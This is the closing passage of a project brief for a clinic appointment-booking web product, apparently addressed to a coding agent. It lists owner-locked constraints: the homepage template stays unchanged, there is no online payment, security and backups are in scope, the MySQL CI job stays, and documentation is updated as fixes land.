Do not change the solo homepage template, its section blades, or the Book Appointment CTA wiring/styling unless the owner says *update patient homepage* or *change patient homepage*. Book CTAs must keep their existing tenant-safe href wiring. The book/ticket/portal shells *outside* the locked homepage (referenced in P3 above) may be improved without that phrase — only the homepage template and its sections are locked.

Other product constraints

- No online payment integration — pay-at-chamber only, until the owner explicitly asks.
- This product is pre-production, not a prototype, as of the owner's 2026-08-08 decision — security, backups, and correctness are in scope by default, not something that needs to be separately requested.
- Do not remove the MySQL CI job to make the pipeline faster — it is what caught several SQLite-only bugs (foreign-key ordering, strict SQL mode) before this brief was written.
- Update `decisions.md` / `bug_history.md` / `architecture.md` / `architecture_history.md` / `sitemap.md` as each fix lands, per this project's own `AGENTS.md` protocol.

End of brief. Fix Phase 1 before anything cosmetic — the restore feature is currently more dangerous than having no restore feature at all. Questions about any owner-locked decision above go to the product owner; do not silently override them.